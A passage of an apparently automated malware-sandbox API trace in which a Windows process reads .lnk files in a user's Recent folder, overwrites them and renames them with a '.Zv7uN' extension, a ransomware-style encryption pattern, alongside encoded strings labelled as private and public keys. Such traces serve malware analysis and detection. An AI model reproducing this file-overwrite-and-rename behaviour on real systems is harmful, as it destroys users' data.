halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qnaaslzxjlzkg.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.903] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.903] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.903] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1a56 [0082.903] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.903] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x1a56, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x1a56, lpOverlapped=0x0) returned 1 [0082.904] CloseHandle (hObject=0x124) returned 1 [0082.904] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QNAASLZXJlZKG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qnaaslzxjlzkg.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.906] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x1a56, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x1a56, lpOverlapped=0x0) returned 1 [0082.907] CloseHandle (hObject=0x124) returned 1 [0082.908] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QNAASLZXJlZKG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qnaaslzxjlzkg.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QNAASLZXJlZKG.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qnaaslzxjlzkg.lnk.zv7un")) returned 1 [0082.910] GetCurrentThreadId () returned 0xa30 [0082.910] GetCurrentThreadId () returned 0xa30 [0082.910] GetCurrentThreadId () returned 0xa30 [0082.910] GetCurrentThreadId () returned 0xa30 [0082.910] GetCurrentThreadId () returned 0xa30 [0082.910] GetCurrentThreadId () returned 0xa30 [0082.910] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe16d8820, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe16d8820, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe16d8820, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x41f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="QQ-JA.lnk", cAlternateFileName="")) returned 1 [0082.910] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.910] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.910] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QQ-JA.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qq-ja.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe16d8820, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe16d8820, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe16d8820, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x41f)) returned 1 [0082.910] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QQ-JA.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qq-ja.lnk")) returned 0x20 [0082.910] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QQ-JA.lnk", dwFileAttributes=0x80) returned 1 [0082.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.914] GetCurrentThreadId () returned 0xa30 [0082.914] GetCurrentThreadId () returned 0xa30 [0082.914] GetCurrentThreadId () returned 0xa30 [0082.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.915] GetCurrentThreadId () returned 0xa30 [0082.915] GetCurrentThreadId () returned 0xa30 [0082.915] GetCurrentThreadId () returned 0xa30 [0082.915] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QQ-JA.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qq-ja.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.915] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.915] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.915] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x41f [0082.915] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.915] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x41f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x41f, lpOverlapped=0x0) returned 1 [0082.916] CloseHandle (hObject=0x124) returned 1 [0082.917] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QQ-JA.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qq-ja.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.918] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x41f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x41f, lpOverlapped=0x0) returned 1 [0082.920] CloseHandle (hObject=0x124) returned 1 [0082.921] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QQ-JA.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qq-ja.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QQ-JA.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qq-ja.lnk.zv7un")) returned 1 [0082.922] GetCurrentThreadId () returned 0xa30 [0082.923] GetCurrentThreadId () returned 0xa30 [0082.923] GetCurrentThreadId () returned 0xa30 [0082.923] GetCurrentThreadId () returned 0xa30 [0082.923] GetCurrentThreadId () returned 0xa30 [0082.923] GetCurrentThreadId () returned 0xa30 [0082.923] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf10eae0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d43d5a0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d43d5a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="QsERwYTXRV.lnk", cAlternateFileName="QSERWY~1.LNK")) returned 1 [0082.923] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.923] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.923] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QsERwYTXRV.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qserwytxrv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: 